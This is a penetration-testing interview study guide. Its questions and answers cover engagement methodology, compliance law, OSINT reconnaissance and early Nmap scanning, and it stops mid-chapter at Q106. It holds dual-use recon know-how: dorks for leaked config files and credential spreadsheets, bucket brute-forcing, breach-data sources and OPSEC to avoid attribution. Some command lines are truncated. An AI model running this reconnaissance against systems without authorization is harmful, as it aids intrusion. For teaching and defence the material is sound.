Pentest Interview Preparation

500 Questions & Answers

Theory · Hands-on · Commands · Scenarios

Compiled for

Feroze Basha

3-year experience target · All-rounder role

Coverage: OWASP Top 10 · Network · Active Directory · Cloud (AWS/Azure/GCP)
API · GraphQL · Mobile (Android/iOS) · Wireless · Exploitation · Reporting

v1.0 · May 2026

Table of Contents

Total: 500 questions across 10 chapters

How to Use This Guide

This guide compiles 500 interview-grade questions covering every major pentest domain. The format is designed for fast review before interviews, technical screens, and live whiteboarding — not as a textbook substitute.

Format

Each entry is a question followed by a concise, interview-ready answer. Commands and code blocks use monospace formatting; inline tool names and parameters use code styling. Answers aim for the depth a 3-year experience candidate should demonstrate — specific tools, real CVEs, real-world examples — without academic padding.

Recommended Approach

- Pass 1: read top-to-bottom over a week to refresh full breadth.
- Pass 2: focus on domains relevant to the specific role (web-heavy, AD-heavy, cloud-heavy).
- Pass 3: practice answering aloud in < 60 seconds — interviewers want crisp answers, not lectures.
- Pair with hands-on practice on HackTheBox, TryHackMe, PortSwigger Web Academy.
- Read disclosed bug bounty writeups on HackerOne weekly — interviewer-favorite material.

Caveats

All commands assume a Kali Linux attacker box and authorized targets. Run only against systems you have explicit written permission to test. Unauthorized testing is criminal activity under the IT Act 2000, CFAA, and equivalents — see Chapter 1 for legal fundamentals.

CHAPTER 01

Methodology & Fundamentals

Process
Standards
Compliance
Legal

Chapter 01 — Methodology & Fundamentals

Process | Standards | Compliance | Legal

Q1. What is penetration testing and how does it differ from vulnerability assessment?

Penetration testing is an authorized, simulated cyberattack against a system to find and exploit vulnerabilities under real-world conditions, with the goal of demonstrating business impact and validating defenses. A vulnerability assessment only identifies and ranks weaknesses (often via automated scanners) without actively exploiting them. Pentesting goes deeper: it chains findings, proves exploitability, evaluates blast radius, and tests detection/response. VA is breadth-first and scheduled; pentest is depth-first and scenario-driven.

Q2. Explain the standard phases of a penetration test.

The accepted phases are: 1) Pre-engagement (scope, rules of engagement, contracts, NDA), 2) Reconnaissance / Information Gathering (passive & active), 3) Threat Modeling & Vulnerability Analysis, 4) Exploitation, 5) Post-Exploitation (privilege escalation, persistence, lateral movement, data exfil), 6) Reporting, and 7) Re-test / remediation validation. Frameworks like PTES, OSSTMM, NIST SP 800-115, and OWASP WSTG codify these phases.

Q3. Difference between Black Box, Grey Box, and White Box testing.

Black box: no prior knowledge, simulates an external attacker; longest recon phase, lowest coverage. Grey box: partial knowledge (e.g., low-privilege user creds, app docs); balanced cost/coverage and the most common in industry. White box (also called crystal box): full access to source, architecture, creds; highest coverage and ideal for finding deep logic flaws. Choice depends on goal — adversary simulation vs. assurance.

Q4. What is the Rules of Engagement (ROE) document?

ROE is the binding agreement defining what testers can and cannot do. It specifies in-scope assets, IP ranges, URLs, accounts, allowed times of testing, restricted techniques (no DoS, no social engineering, etc.), client emergency contacts, data handling rules, evidence retention, and legal/regulatory constraints. Without a signed ROE, testing is criminal activity under laws like the Computer Misuse Act / CFAA / IT Act 2000 (India).

Q5. What is scope creep and how do you handle it during a pentest?

Scope creep is when the client (or tester) starts pulling in assets, accounts, or environments not in the original ROE — e.g., a new subdomain discovered during recon, or staging hosts in the same /24. Handle it by pausing, documenting the request in writing, getting a formal scope amendment signed, and updating the SoW. Never silently extend; it kills the legal protection of the engagement.

Q6. Compare PTES, OSSTMM, NIST SP 800-115, and OWASP WSTG.

PTES (Penetration Testing Execution Standard) is the most widely used end-to-end methodology with technical guidelines. OSSTMM (Open Source Security Testing Methodology Manual) is broader and metric-driven (RAV scores). NIST SP 800-115 is the US federal technical guide — high level, used for compliance. OWASP WSTG (Web Security Testing Guide) is web-specific and the canonical reference for app pentests. Most engagements blend PTES (process) + WSTG (web tests) + NIST (reporting).

Q7. What is the MITRE ATT&CK framework and how is it used in pentesting?

MITRE ATT&CK is a knowledge base of adversary tactics, techniques, and procedures (TTPs) observed in real campaigns, organized into matrices (Enterprise, Mobile, ICS, Cloud). Pentesters use it to map findings to tactic IDs (e.g., T1078 Valid Accounts, T1059 Command-Line Interpreter), align red team operations to real threat actors (APT29, FIN7), and produce reports that blue teams can correlate with detection rules and EDR coverage.

Q8. What is the Cyber Kill Chain?

Lockheed Martin's model with 7 stages: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command & Control (C2), and Actions on Objectives. It's useful for adversary emulation and to communicate where defenses should break the chain. Compared to MITRE ATT&CK, the Kill Chain is linear/strategic while ATT&CK is granular/tactical.

Q9. What is the difference between Red Team, Blue Team, Purple Team, and Pentest?

Pentest: time-boxed, scope-limited, vulnerability-focused. Red Team: goal-oriented adversary emulation (e.g., 'breach the CFO's mailbox') over weeks/months, stealth required, tests detection. Blue Team: defenders — SOC, IR, threat hunting. Purple Team: collaborative red+blue exercise where attacks are run openly to tune detections. Red teams test if the blue team can detect; purple teams help them detect better.

Q10. What documents are typically delivered at the end of a pentest?

1) Executive Summary (1–2 pages, business language, risk posture), 2) Technical Report (full findings, evidence, reproduction steps, CVSS, remediation), 3) Attack Narrative (kill-chain storytelling for red teams), 4) Letter of Attestation (for clients to share with auditors/customers), 5) Raw Evidence (screenshots, logs, payloads) on a secure share, and 6) Re-test Report after remediation.

Q11. Explain the CIA triad with examples.

Confidentiality: data is only accessible to authorized parties (encryption, ACLs, MFA). Integrity: data is not modified without authorization (hashing, digital signatures, file integrity monitoring). Availability: systems are accessible when needed (HA clusters, DDoS protection, backups). A SQL injection that dumps the user table violates C; one that updates account balances violates I; a Slowloris attack violates A.

Q12. What is the AAA framework?

Authentication (who are you — password, MFA, certificate), Authorization (what can you do — RBAC/ABAC/ACL), and Accounting/Auditing (what did you do — logs, audit trails). Modern systems add Identification (claim of identity) and sometimes a fifth A for Auditability. RADIUS and TACACS+ are classic AAA protocols.

Q13. What is the principle of least privilege (PoLP)?

Every user, service, and process should have the minimum permissions necessary to perform its function — nothing more. Examples: a backup service account that can read but not delete, a developer with read-only prod DB access, a container running as non-root. PoLP is the single biggest mitigation for post-exploitation impact and lateral movement.

Q14. What is defense in depth?

Layered security controls so that if one fails, others contain the breach. Example stack: WAF → reverse proxy → app input validation → parameterized queries → DB user with limited privileges → file system permissions → EDR → SIEM alerts. The attacker must defeat every layer; the defender only needs one to hold.

Q15. Define threat, vulnerability, risk, and exploit.

Threat: a potential cause of harm (e.g., ransomware gang). Vulnerability: a weakness that can be exploited (unpatched SMB). Exploit: the code or technique that takes advantage of the vulnerability (EternalBlue). Risk: the probability and impact of a threat actually exploiting a vulnerability (Risk = Likelihood × Impact). Pentesters convert theoretical risk into demonstrated risk.

Q16. What is zero trust architecture?

A security model that assumes no implicit trust based on network location. Every request — internal or external — must be authenticated, authorized, and continuously validated. Core tenets: verify explicitly, use least privilege, assume breach. Implementations include BeyondCorp, ZTNA solutions, micro-segmentation, and identity-aware proxies. Eliminates the 'crunchy outside, soft inside' perimeter model.

Q17. What is non-repudiation?

Assurance that a party cannot deny having performed an action. Achieved via digital signatures, audit logs, and authenticated logging. Important for legal/regulatory contexts — a user who digitally signs a transaction with their private key cannot later deny it (assuming key wasn't compromised).

Q18. What is PCI-DSS and what does it require for pentesting?

Payment Card Industry Data Security Standard. Requirement 11.3 mandates annual internal AND external penetration tests of the Cardholder Data Environment (CDE), plus tests after any significant change. Must include network-layer and application-layer tests, segmentation tests if scope reduction is claimed, and use of qualified personnel. Findings rated as exploitable must be remediated and re-tested.

Q19. What is HIPAA and how does it relate to security testing?

Health Insurance Portability and Accountability Act (US) — protects Protected Health Information (PHI). Security Rule requires technical safeguards: access control, audit logs, integrity, transmission security. While HIPAA doesn't mandate pentesting explicitly, the Security Risk Analysis (45 CFR 164.308(a)(1)) effectively requires it, and OCR cites lack of pentesting in breach penalties.

Q20. What is GDPR's relevance to penetration testing?

GDPR Article 32 requires 'regular testing, assessing and evaluating the effectiveness of technical and organisational measures.' Pentests directly satisfy this. Also: testers handling personal data must sign DPAs, anonymize data in reports, and adhere to data residency. A breach not preceded by reasonable testing risks higher fines (up to 4% of global revenue).

Q21. What is ISO 27001 and how is pentesting incorporated?

International standard for Information Security Management Systems (ISMS). Annex A.12.6.1 (management of technical vulnerabilities) and A.18.2.3 (technical compliance review) are typically interpreted to require periodic pentesting. Auditors will ask for the latest pentest report, scope, findings, and remediation evidence.

Q22. Explain SOC 2 and pentest requirements.

Service Organization Control 2 — AICPA framework around Trust Services Criteria (Security, Availability, Processing Integrity, Confidentiality, Privacy). The Security criterion (CC4.1, CC7.1) expects periodic vulnerability and penetration testing. Type II audits review evidence over 6–12 months; auditors look for pentest reports + remediation tickets.

Q23. What is the Indian IT Act and CERT-In directive relevance?

IT Act 2000 (Section 43, 66) criminalizes unauthorized access — making pre-engagement authorization essential for Indian engagements. CERT-In's April 2022 directive requires reporting of cyber incidents within 6 hours and retaining logs for 180 days. Many Indian regulated entities (RBI, SEBI, IRDAI) require CERT-In empanelled pentesters.

Q24. What is CVSS and how do you calculate a score?

Common Vulnerability Scoring System — open standard for severity. CVSS v3.1 has Base, Temporal, and Environmental metrics. Base metrics: Attack Vector (Network/Adjacent/Local/Physical), Attack Complexity, Privileges Required, User Interaction, Scope, and CIA impacts. Score ranges: 0.1–3.9 Low, 4.0–6.9 Medium, 7.0–8.9 High, 9.0–10.0 Critical. Use the FIRST calculator; never just eyeball.

Q25. CVSS example: walk through scoring a reflected XSS that requires user interaction.

AV:N (over network) / AC:L (low complexity) / PR:N (no privs) / UI:R (user must click link) / S:C (scope change — script runs in victim's browser context) / C:L (confidentiality low — session theft possible) / I:L / A:N. Result: 6.1 Medium. The S:C and UI:R are what drop it from a higher band — typical for reflected XSS.

Q26. What is the Computer Misuse Act / CFAA and why must you care?

UK Computer Misuse Act 1990 and US Computer Fraud and Abuse Act make unauthorized computer access a criminal offense. Even a 'good faith' security test on a system you don't own can result in prosecution without written authorization. Always have signed ROE, keep scope tight, and stop immediately if you stray. The Aaron Swartz case is the cautionary example.

Q27. Difference between ethical hacker, pentester, and security researcher.

Ethical hacker is a broad term — anyone using hacking skills for defensive purposes. Pentester is a specific role focused on authorized engagements with deliverables. Security researcher discovers and discloses vulnerabilities (often via bug bounty or coordinated disclosure) — may not have prior authorization but operates under safe harbor programs. Skill overlap is high; engagement model differs.

Q28. What is responsible / coordinated disclosure?

A process where a vulnerability is reported privately to the vendor first, with an agreed timeline (typically 90 days, e.g., Google Project Zero) for them to patch before public disclosure. The researcher refrains from publishing exploit details until users have had a chance to patch. Contrasted with full disclosure (immediate public release) and non-disclosure (sale to a broker).

Q29. What is a bug bounty program?

An incentive program where organizations pay external researchers for vulnerabilities found within scope. Platforms: HackerOne, Bugcrowd, Intigriti, YesWeHack. Bounty range from token rewards to six figures (Apple, Google). Researchers must operate within program scope and rules — out-of-scope testing voids safe harbor.

Q30. What is 'safe harbor' in bug bounty terms?

Legal language in a bug bounty policy that says the company will not pursue legal action against researchers who follow the program rules in good faith. Without safe harbor, the researcher could be sued under CFAA/CMA even after reporting honestly. DOJ has issued guidance distinguishing legitimate research from criminal hacking.

Q31. What goes in a pre-engagement questionnaire?

Asset inventory, IP ranges, URLs, application stack, hosting (on-prem/cloud), user counts, business hours, sensitive data types, prior pentest reports, current security tools (WAF, EDR, SIEM), incident contacts, blackout dates, approved/unapproved techniques, and compliance drivers. The better this is filled in, the smoother the engagement.

Q32. What is a kickoff meeting and what is discussed?

First meeting between tester and client at engagement start. Cover: confirm scope and ROE, finalize timelines, exchange contacts (tester lead, client SPOC, escalation, incident hotline), source IPs the tester will use (for whitelisting), communication channels (Slack, encrypted email), evidence handling, and emergency stop procedure. Capture minutes.

Q33. What is a 'shoulder' or 'flag' in red team operations?

A pre-agreed objective whose successful capture demonstrates impact — e.g., 'access to the domain admin', 'extract a record from the customer DB', 'read CEO's email'. Flags make engagement success measurable and ensure the team doesn't drift. Multiple flags allow partial-credit scenarios.

Q34. What is the difference between announced and unannounced pentests?

Announced: blue team and IT know testing is happening (typical for compliance). Unannounced: only a small leadership group knows — tests detection and response capabilities of the SOC. Red teams are usually unannounced. Unannounced engagements need a 'get out of jail' letter signed by the sponsor to show on-site security if challenged.

Q35. What is a 'get out of jail free' letter?

A signed authorization letter testers carry during physical or covert engagements. It identifies them as authorized, lists their names, IDs, engagement dates, and sponsor contact information (CISO/CEO/Legal). If detained by guards or police during a physical test, presenting this letter (and the sponsor confirming by phone) resolves the situation.

Q36. Walk through pre-engagement legal/contractual artifacts.

Master Service Agreement (MSA), Statement of Work (SOW), Rules of Engagement (ROE), Non-Disclosure Agreement (NDA), Data Processing Agreement (DPA) if PII is in scope, authorization letter, and (for red teams) an emergency-stop protocol. All signed by authorized signatories before testing begins.

Q37. How do you handle finding sensitive data (PII/PHI/credit cards) during testing?

Stop immediately. Do not download, screenshot the full data, or copy it off-system. Document: where it was found, evidence of accessibility (e.g., masked screenshot), and notify the client SPOC promptly. Follow the engagement's data handling plan — may include immediate disclosure under breach laws (GDPR 72hr, HIPAA, CERT-In 6hr).

Q38. What if you accidentally crash a production system during testing?

Stop testing immediately, notify the client SPOC and escalation contact, document the exact request/payload sent, preserve evidence, and assist with recovery if requested. Most ROEs require immediate notification of unintended impact. This is why DoS techniques are typically out-of-scope unless explicitly tested off-hours in a staging mirror.

Q39. Difference between 'authenticated' and 'unauthenticated' tests.

Unauthenticated: tester has no credentials — tests what an external attacker sees. Authenticated: tester has one or more credential sets at different privilege levels (anonymous, customer, admin) to find vertical/horizontal privilege escalation, IDOR, role bypass. Both are usually required for full app coverage.

Q40. What is segmentation testing?

Validating that network segmentation (e.g., separating CDE from corporate network) actually prevents lateral movement. Tester is placed inside each network zone and attempts to reach restricted zones via routing, NAT misconfig, dual-homed hosts, or shared services. PCI-DSS 11.3.4 explicitly requires this annually if segmentation is claimed.

Q41. Walk me through your typical pentest toolkit.

Recon: nmap, masscan, amass, subfinder, Shodan, theHarvester. Web: Burp Suite Pro, ZAP, ffuf, nuclei, sqlmap, ParamSpider. Exploit/Post-exploit: Metasploit, BloodHound, CrackMapExec, mimikatz, Rubeus, impacket. AD recon: SharpHound, PowerView, ldapdomaindump. C2: Cobalt Strike, Sliver, Mythic, Havoc. Cloud: Pacu, ScoutSuite, Prowler, kube-hunter. Mobile: MobSF, Frida, Objection. Wireless: aircrack-ng, hcxdumptool, wifite.

Q42. Why is Kali Linux popular and what are alternatives?

Kali ships with hundreds of pre-installed pentest tools, configured, signed, and maintained by Offensive Security. Alternatives: Parrot Security OS (lighter, privacy-focused), BlackArch (largest tool repo, Arch-based), Athena OS (newer, modular), and Commando VM (Windows-based for AD/red team work). Many pros use a personal Debian/Ubuntu/macOS workstation with hand-picked tools instead.

Q43. What is the typical lab setup for self-practice?

VMware/VirtualBox host + Kali attacker VM + vulnerable VMs (Metasploitable 2/3, DVWA, OWASP Juice Shop, HackTheBox/TryHackMe boxes downloaded). For AD practice: a Windows Server 2019 DC + 2 Win10 clients in a domain. For cloud: a sandbox AWS/Azure account with deliberately vulnerable terraform (CloudGoat, TerraGoat, AWSGoat).

Q44. Explain MITRE ATT&CK mapping in a report finding.

Each finding should map to the tactic (column) and technique (cell) it exercises. Example: 'Used valid creds harvested from public S3 bucket' → TA0001 Initial Access → T1078 Valid Accounts. This lets blue teams trace findings to detections (Sigma rules, EDR signatures) and measure coverage in tools like ATT&CK Navigator.

Q45. What is purple teaming and how do you run one?

Collaborative exercise: red team executes pre-agreed TTPs (often from MITRE ATT&CK) while blue team watches their tooling in real time. After each technique: did EDR alert? Was SIEM rule triggered? Was the analyst paged? Gaps lead to new detections, which are validated by the red team replaying the TTP. Output: detection coverage heatmap.

Q46. What is adversary emulation versus pentesting?

Pentesting finds and exploits vulns broadly. Adversary emulation replicates a specific threat actor's known TTPs (e.g., 'do what FIN7 does to a retailer') end-to-end to test if defenses would catch them. Driven by CTI reports and MITRE ATT&CK groups. CALDERA and Atomic Red Team automate parts of this.

CHAPTER 02

Reconnaissance & OSINT

Passive
Active
Tooling
Asset Discovery

Chapter 02 — Reconnaissance & OSINT

Passive | Active | Tooling | Asset Discovery

Q51. What is reconnaissance and why is it the most important phase?

Reconnaissance is gathering information about a target before active testing. It's the most important phase because attack surface discovered here defines what you can test; missed assets are missed findings. Output: list of IPs, domains, subdomains, technologies, employees, email formats, leaked credentials, exposed services, open ports, third-party integrations, and historical changes.

Q52. Difference between passive and active reconnaissance.

Passive: no packets touch the target — use third-party sources (Google, Shodan, Censys, Wayback Machine, certificate transparency logs, social media, breach dumps). Active: direct interaction (port scanning, service enumeration, banner grabbing, brute-forcing subdomains via DNS). Passive is stealthy and usually allowed without ROE; active needs authorization.

Q53. List 10 OSINT sources you regularly use.

1) Shodan (internet-wide service scanner), 2) Censys (similar, certificate-rich), 3) crt.sh (certificate transparency), 4) Wayback Machine (archived pages), 5) Google dorks, 6) LinkedIn (employees/tech stack), 7) GitHub/GitLab (leaked secrets, internal repos), 8) Pastebin/DocBin/Ghostbin, 9) HaveIBeenPwned (breach exposure), 10) DNSDumpster/SecurityTrails (DNS history).

Q54. What is Google Dorking? Give 5 useful operators.

Using Google's search operators to find exposed data. Key operators: site: (limit to domain), intitle: (page title), inurl: (URL substring), filetype: (extension), intext: (body text), cache: (Google's cached copy), allinurl: (multiple terms in URL). Examples: site:target.com filetype:pdf confidential — finds confidential PDFs. inurl:/admin site:target.com — admin pages. ext:env DB_PASSWORD.

Q55. Give 5 high-value Google dorks for pentest recon.

1) site:target.com intitle:'index of' — directory listings. 2) site:target.com inurl:wp-content — exposed WordPress files. 3) site:target.com ext:sql OR ext:bak OR ext:log — backups. 4) site:target.com inurl:wp-config.php OR ext:env — config files. 5) 'target.com' filetype:xls password — leaked credential spreadsheets. The Google Hacking Database (GHDB at Exploit-DB) has thousands more.

Q56. What is the Shodan search engine and give example queries.

Shodan crawls the internet and indexes services, not webpages. Queries: org:'TargetCorp' (organization filter), hostname:target.com, port:21 product:vsftpd (specific service), ssl.cert.subject.cn:target.com (cert-based asset discovery), product:'Microsoft IIS' country:IN, vuln:CVE-2021-44228 (Log4Shell-exposed hosts). Premium plan unlocks vuln search and historical data.

Q57. What is Censys and how does it differ from Shodan?

Censys also indexes internet services but emphasizes certificates and TLS metadata — often better for asset discovery via cert-based attribution. Shodan has stronger banner data and a larger free tier. Pros use both. Censys also exposes IPv6 results more comprehensively. Search example: services.tls.certificates.leaf_data.subject.common_name:target.com.

Q58. Explain Certificate Transparency (CT) logs and crt.sh.

Public, append-only logs of every TLS certificate issued by participating CAs. Adversaries (and defenders) use them to discover hostnames before they're publicly linked — e.g., when a CA issues a cert for staging-payments.target.com, it appears in CT logs within hours. crt.sh is a free CT log search interface — invaluable for subdomain enumeration: crt.sh?q=%25.target.com.

Q59. How do you enumerate subdomains? List the techniques.

1) Passive: crt.sh, Censys, VirusTotal, DNSDumpster, SecurityTrails, Wayback. 2) Active brute force: amass, subfinder, assetfinder, gobuster dns, ffuf. 3) Permutation: alterx, dnscewl — generate variations of known names. 4) Zone transfers (AXFR) if misconfigured. 5) DNS aggregators: SubdomainCenter, ChaosDB. Combine all and dedupe — single sources miss 30%+ of assets.

Q60. Command to run amass for passive subdomain discovery.

```
amass enum -passive -d target.com -o subs.txt
```

Q61. Command to run subfinder with multiple sources.

```
subfinder -d target.com -all -recursive -o subs.txt
```

Q62. How do you check which subdomains are live (resolve + respond)?

After collecting subdomains, resolve with dnsx then probe with httpx for live HTTP(S) services.

```
cat subs.txt | dnsx -silent | httpx -title -tech-detect -status-code -o live.txt
```

Q63. What is theHarvester and what does it find?

theHarvester is a Python tool for OSINT email/host harvesting from search engines, PGP servers, LinkedIn, Shodan, etc. Useful early-recon for collecting employee emails, hostnames, and IP ranges. Example: theHarvester -d target.com -b all -l 500. Outputs HTML/XML/JSON. Often paired with hunter.io and snov.io for verified emails.

Q64. Explain WHOIS and what it reveals.

WHOIS is the registry record for a domain/IP — historically exposed registrant name, email, phone, address. Since GDPR most are redacted, but IP WHOIS (RIRs: ARIN, RIPE, APNIC, AFRINIC, LACNIC) still shows org allocations — useful to find a target's IP ranges. Tools: whois, jwhois, online via who.is.

Q65. What is reverse DNS and reverse WHOIS?

Reverse DNS (PTR): given an IP, find hostname(s) that point to it. Useful to expand from one IP to others. Reverse WHOIS: given an email/name/org from WHOIS, find all other domains registered with that data. ViewDNS.info and DomainTools (paid) offer reverse WHOIS — uncovers an organization's full domain portfolio including forgotten ones.

Q66. What is GitHub recon and what do you look for?

Searching public GitHub for org names, employee names, internal hostnames, API keys, credentials, source code. Use github.com search, trufflehog, gitleaks, gitGraber. Look for: hardcoded AWS keys (AKIA*), Slack tokens (xoxb-*), private keys (BEGIN RSA), .env files, hardcoded admin passwords, internal API URLs (api.internal.target.com), database connection strings.

Q67. Command-line trufflehog usage to scan an org.

trufflehog github --org=targetcorp --concurrency=8 --json > findings.json

Q68. What is the Wayback Machine and how is it useful?

Internet Archive's historical snapshots of websites. Reveals removed endpoints, old admin panels, JavaScript files with hardcoded keys, deprecated APIs. waybackurls and gau (getallurls) pull all historic URLs for a domain. Useful for finding endpoints that still exist on the backend but were removed from the navigation — common source of forgotten API keys and auth-less endpoints.

Q69. Command to extract historical URLs and filter for interesting ones.

Pull every URL the Wayback Machine has seen for a target, then filter for JavaScript files, parameters, and sensitive paths.

```
echo target.com | gau --threads 5 | tee all-urls.txt | grep -E &#x27;\.(js|json|xml|conf|env|bak|sql)$&
```

Q70. What is the difference between dnsx, massdns, and shuffledns?

dnsx: Project Discovery's general-purpose fast resolver (filtering, A/CNAME/PTR/MX). massdns: ultra-fast async resolver (used internally by many tools). shuffledns: wrapper around massdns adding wildcard handling and dedupe. For bulk subdomain validation, the chain is usually: subfinder → shuffledns (resolve) → httpx (probe).

Q71. What is a DNS zone transfer (AXFR) attack?

Zone transfer is how secondary DNS servers replicate from a primary. If misconfigured to allow transfer from any IP, an attacker can dump the entire zone — all records, internal hostnames included. Test: dig axfr @<nameserver> target.com. Real cases of this still happen on small infra and forgotten DNS servers.

Q72. What information do you collect about web technologies?

Server (nginx/Apache/IIS version), application framework (Laravel/Django/Rails/Spring), CMS (WordPress/Drupal/Joomla — and version + plugins + themes), language (PHP/Python/Java/Node), CDN/WAF (Cloudflare/Akamai/F5), JavaScript libraries (jQuery, React versions). Tools: whatweb, wappalyzer, httpx -tech-detect, builtwith.com.

Q73. What is Wappalyzer and how does it work?

Browser extension + CLI that fingerprints the technology stack of a website using HTTP headers, cookies, HTML patterns, JavaScript globals, and CSS class signatures. wappalyzer-cli or webappanalyzer (newer fork) run headlessly. Output is a stack profile useful to choose exploit paths.

Q74. What is metadata harvesting from documents and how is it useful?

Documents (PDF, DOCX, XLSX) embed metadata — author names (usernames), software versions, file paths (reveals internal directory structure), timestamps. Use FOCA (Windows GUI) or exiftool / metagoofil (CLI). Example: a PDF reveals 'C:\Users\jsmith\Documents\proposal.docx' — gives you a valid username AND internal path. Useful for password-spray candidate lists.

Q75. Command to extract metadata from a PDF.

```
exiftool target.pdf
```

Q76. Command to bulk-pull and analyze metadata from a domain's public docs.

metagoofil collects docs from search engines and pulls metadata in one step.

```
metagoofil -d target.com -t pdf,doc,docx,xls -l 200 -n 50 -o ./metagoofil-out
```

Q77. What is Maltego?

Visual link-analysis tool — you drop an entity (domain, email, person) and run 'transforms' that pull related entities from data sources, building a graph. Useful for mapping organizations, relationships, infrastructure. Community Edition is free with rate-limited transforms; Pro/Enterprise unlocks more. Steep learning curve but extremely powerful for complex investigations.

Q78. What is SpiderFoot?

Automated OSINT framework that runs 200+ modules against a target (domain, IP, email) and correlates results — DNS, WHOIS, breach data, Shodan, Censys, social media, dark web. Available as CLI, web UI, and HX (paid). Faster than manually chaining tools; good for initial recon sweeps.

Q79. How do you find employees and email addresses of a target?

LinkedIn (people search by company), hunter.io and snov.io (verified emails), phonebook.cz, theHarvester, OSINT Industries. Once you have the format (e.g., firstname.lastname@target.com), tools like Crosslinked + LinkedIn dumps generate the full email list. Email lists feed password spraying and phishing engagements.

Q80. What is the typical company email format and how do you discover it?

Common formats: firstname.lastname, firstinitial+lastname, firstname_lastname, firstname@. Discover by: a) googling for any email from the company (LinkedIn, press releases, contact pages), b) hunter.io's free 'pattern' lookup, c) guessing CEO's email and verifying via SMTP RCPT TO or LinkedIn pattern.

Q81. What is breach data and how do you use it ethically?

Dumps of credentials from past breaches (LinkedIn 2012, Adobe, Collection #1, etc.). HaveIBeenPwned offers domain-level exposure search for free (free for verified domain owners) — tells you which of your employees have leaked passwords. Tools: dehashed.com (paid), snusbase, breachdirectory. Only use within engagement scope and with written consent.

Q82. What is OPSEC during recon and why does it matter?

Even passive recon can leak intent — querying Shodan for a specific target hostname is logged. Use VPNs/proxies, throwaway accounts, avoid attribution. Tools like Shodan have customer-facing logs. For sensitive engagements, use platforms like 'searchlight.com' or scrape via puppet/Tor. Some clients explicitly require OPSEC during red team engagements.

Q83. What is a 'dorking' workflow combining multiple tools?

1) Subfinder + amass for subdomains → 2) dnsx to resolve → 3) httpx to probe → 4) Wayback/gau for historical paths → 5) gf patterns to grep for SSRF/XSS/IDOR candidates → 6) nuclei for known vulns → 7) Burp for manual review of interesting hits. Automated via shell pipeline or tools like ProjectDiscovery's chaos+pdtm.

Q84. Show a complete one-liner recon pipeline.

End-to-end discovery: subdomain enum → resolve → live probe → tech detect → save.

```
subfinder -d target.com -all -silent | dnsx -silent | httpx -title -tech-detect -status-code -tls-probe
```

Q85. What is asset inventory and why must it be authoritative?

A definitive list of an organization's IT assets — domains, IPs, cloud accounts, repos. Recon often finds assets the IT team forgot existed (shadow IT, old marketing microsites, forgotten staging). Without an authoritative inventory, defenders can't patch what they don't know. Tools: Axonius, runZero, Lansweeper; for pentest deliverables, an asset matrix is a typical artifact.

Q86. What is reverse image search and when do you use it?

Search the web for instances of an image — Google Images, Yandex (best for faces), TinEye, PimEyes. Useful for verifying social engineering identities, finding stock photos used by fake sites, locating an employee's other accounts, or identifying where a leaked screenshot came from.

Q87. What is the Pwned Passwords API?

HaveIBeenPwned's k-anonymity API for checking if a password hash prefix appears in breach corpora. Sends only the first 5 chars of SHA-1 hash; receives the suffixes seen with counts. Used during pentests to test if a found password is in breach lists (signals weakness even if it 'works'). Free and privacy-preserving.

Q88. How do you map a target's cloud footprint?

1) Cert transparency for *.cloudfront.net, *.azurewebsites.net, *.appspot.com pointing to target. 2) Reverse DNS on known CDN IPs. 3) GitHub for cloud account IDs and bucket names. 4) Bucket brute-forcers: cloud_enum, S3Scanner, GCPBucketBrute. 5) DNS records mentioning 'aws', 'azure', 'gcp', 'k8s'. 6) Tools: CloudSploit, ScoutSuite (need access).

Q89. Command to brute-force public S3 buckets for a company name.

cloud_enum tests common bucket naming patterns across AWS S3, Azure Blob, and GCP storage.

```
python3 cloud_enum.py -k targetcorp -k target-corp -k targetcorp-dev -k targetcorp-prod
```

Q90. What is favicon hashing and how is it used?

Many web apps share a favicon across deployments (e.g., default Jenkins, Atlassian, GitLab favicons). Hash the favicon (MMH3 mainly) and search Shodan/Censys for matching hashes: http.favicon.hash:<value> on Shodan. Useful to find every instance of a specific app on the internet, including obscure deployments of a target's tech stack.

Q91. Show a python favicon hash one-liner.

Compute MMH3 hash of /favicon.ico — pipe into Shodan to find every server using the same icon.

```
python3 -c &#x27;import mmh3,base64,requests; r=requests.get(&quot;https://target.com/favicon.ico&quot;
```

Q92. What is Nuclei and how does it fit into recon?

ProjectDiscovery's template-based vulnerability scanner — fast, written in Go, with 7000+ community templates covering CVEs, misconfigs, exposures, and tech detection. Run after httpx probing to flag known issues across hundreds of subdomains in minutes. Caveat: high false-positive rate on some templates; always validate.

Q93. Command to run nuclei against a list of live hosts.

```
nuclei -l live.txt -t cves/ -t misconfiguration/ -t exposures/ -severity medium,high,critical -o nuclei
```

Q94. What is a 'living off the land' OSINT technique?

Using publicly available services and dorks rather than custom tools. Examples: linkedin.com/sales for org charts, blog.target.com archives for tech mentions, Stack Overflow profiles for employee tech (their answers reveal stack), Glassdoor for org structure, conference talks/slides on SpeakerDeck. Often more accurate than scraped data.

CHAPTER 03

Network Pentesting

Nmap
SMB/LDAP
Active Directory
Pivoting

Chapter 03 — Network Pentesting

Nmap | SMB/LDAP | Active Directory | Pivoting

Q101. Explain Nmap's scan types: -sS, -sT, -sU, -sA, -sN/-sF/-sX.

-sS: TCP SYN (stealth) — sends SYN, on SYN-ACK marks open then RST. Default if you have root. -sT: full TCP connect (no root needed). -sU: UDP scan — slower; sends UDP probe, no response often means open|filtered. -sA: ACK scan — maps firewall rules (unfiltered vs filtered, not open vs closed). -sN/sF/sX (Null/FIN/Xmas): exotic flag combos to bypass naive packet filters by exploiting RFC 793 ambiguity.

Q102. What is the difference between -sV, -O, -A, and -sC in Nmap?

-sV: service/version detection — probes open ports to identify protocol and version. -O: OS detection — uses TCP/IP stack fingerprinting. -A: aggressive — equivalent to -sV -O --traceroute -sC. -sC: default scripts — runs the default NSE script category, which includes safe enum scripts. Use -A for first-pass, then targeted -sV -p <ports> -sC for verification.

Q103. Nmap command to find all live hosts in a /24.

```
nmap -sn -PE -PA22,80,443 192.168.1.0/24
```

Q104. Nmap command for full TCP port scan with version + scripts.

Top-quality first sweep — scan all 65535 TCP ports, then version-scan only those found open. Faster than -p- -sV on the same run.

```
nmap -p- --min-rate 5000 -T4 target.com -oN allports.txt
ports=$(grep ^[0-9] allports.txt | cut -d/ -f1 | tr &#x27;\n&#x27; &#x27;,&#x27;)
nmap -sV -sC -p$ports target.com -oN deep.txt
```

Q105. Nmap command for UDP scan of top ports.

UDP is slow; scan top 200 ports with version detection, then deep-scan interesting protocols.

```
sudo nmap -sU --top-ports 200 -sV -T4 target.com -oN udp.txt
```

Q106. What is NSE? Give 5 useful scripts.

